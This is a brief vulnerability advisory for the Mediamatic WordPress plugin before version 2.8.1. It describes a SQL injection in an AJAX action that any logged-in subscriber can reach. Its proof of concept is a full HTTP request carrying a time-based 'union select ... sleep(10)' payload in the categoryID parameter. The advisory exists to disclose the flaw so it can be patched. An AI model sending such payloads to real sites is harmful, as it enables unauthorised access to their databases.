WordPress Plugin Vulnerabilities

Mediamatic < 2.8.1 - Subscriber+ SQL Injection

Description

The mediamaticAjaxRenameCategory AJAX action of the plugin, available to any authenticated user, does not sanitise the categoryID parameter before using it in a SQL statement, leading to an SQL injection

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

action=mediamaticAjaxRenameCategory&categoryID=1+union+select+1+and+sleep(10)